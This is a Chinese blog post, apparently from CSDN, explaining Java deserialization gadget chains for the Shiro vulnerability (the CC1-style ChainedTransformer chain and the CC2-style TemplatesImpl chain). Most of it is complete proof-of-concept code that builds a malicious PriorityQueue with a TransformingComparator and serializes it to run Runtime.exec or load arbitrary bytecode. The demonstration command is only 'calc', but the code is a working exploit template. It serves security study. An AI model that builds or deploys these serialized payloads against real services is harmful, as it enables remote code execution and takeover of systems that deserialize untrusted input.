Shiro反序列化漏洞原理&代码分析(3)

文章详细描述了如何在POC中使用ChainedTransformer和TransformingComparator,通过序列化和优先队列操作,实现对RCE(RemoteCodeExecution)的潜在利用。重点在于Transformer链的构建和Comparator的定制以完成特定功能的执行。
摘要由CSDN通过智能技术生成

最终POC

transform链POC

由于我们要序列化的对象是PriorityQueue,所以我们就先实例化一个该对象 并且赋初值

        PriorityQueue priorityQueue = new PriorityQueue(2);
        priorityQueue.add(1);
        priorityQueue.add(2);

由于我们最后要调用的是ChainedTransformer对象的transform方法来进行RCE

//ChainedTransformer.transform
public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

所以创建一个ChainedTransformer对象 这个对象为何要这样写在cc链里讲过 就是链式调用

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        Transformer transformerchain = new ChainedTransformer(transformers);

由于我们要调用的链条如下

PriorityQueue.readObject--heapify--siftDown--siftDownUsingComparator(comparator != null)--compare--transform
//PriorityQueue的readObject
private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }


private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

//TransformingComparator的compare方法
    public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

代码中可以看到要完成一条完整的链,需要满足的条件是comparator != null,所以我们的poc中要给priorityQueue设置一个comparator而且是TransformingComparator类的comparator,而这个TransformingComparator的this.transformer需要是ChainedTransformer类的(因为最终是调用ChainedTransformer的transform)所以创建TransformingComparator对象时,传参是传的ChainedTransformer对象也就是transformerchain

TransformingComparator transforming_Comparator = new TransformingComparator(transformerchain);
Field field = priorityQueue.getClass().getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue,transforming_Comparator);

那么最终poc就是这样的

public class main {
    public static void main(String[] args) throws Exception {
    Object cc1 = CC1();
        serialize(cc1);
        unserialize("ser.bin");
    }
    static Object CC1() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        Transformer transformerchain = new ChainedTransformer(transformers);


        PriorityQueue priorityQueue = new PriorityQueue(2);
        priorityQueue.add(1);
        priorityQueue.add(2);

        TransformingComparator transforming_Comparator = new TransformingComparator(transformerchain);
        Field field = priorityQueue.getClass().getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(priorityQueue,transforming_Comparator);
        return priorityQueue;
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

效果如图

InvokerTransformer

TemplatesImpl链的POC

相比调用ChainedTransformer的更加transform的POC要简单一些因为不用去链式调用了嘛,我们只用最后调用一下InvokerTransformer的transform方法实例化一个对象就好了

所以就要实例化一个InvokerTransformer对象并且传给transformer_comparator

InvokerTransformer transformer = new InvokerTransformer(newTransformer",null,null);
TransformingComparator transformer_comparator = new TransformingComparator(transformer);

创建PriorityQueue对象 并add TemplatesImpl_instance(RCE类) 以便compare的时候传入RCE类对象然后transform(TemplatesImpl_instance) 去实例化RCE类的对象

PriorityQueue queue = new PriorityQueue(2,transformer_comparator);
queue.add(TemplatesImpl_instance);
queue.add(TemplatesImpl_instance);

最终就调用了InvokerTransformer的transform方法 实例化了一个RCE类

最终POC

public class main {
    public static void main(String[] args) throws Exception {
    Object cc2 = CC2();
        serialize(cc2);
        unserialize("ser.bin");
    }
    static Object CC2() throws Exception{
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.getCtClass("RCE");
        byte[] bytes = ctClass.toBytecode();

        TemplatesImpl TemplatesImpl_instance = new TemplatesImpl();

        Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");


        Field bytecodes = aClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});

        Field name = aClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(TemplatesImpl_instance , "ting");

        Field tfactory = aClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(TemplatesImpl_instance , new TransformerFactoryImpl());

        InvokerTransformer transformer = new InvokerTransformer("newTransformer",null,null);
        TransformingComparator transformer_comparator = new TransformingComparator(transformer);

        PriorityQueue queue = new PriorityQueue(2,transformer_comparator);
        queue.add(TemplatesImpl_instance);
        queue.add(TemplatesImpl_instance);
        return queue;
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

效果图

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值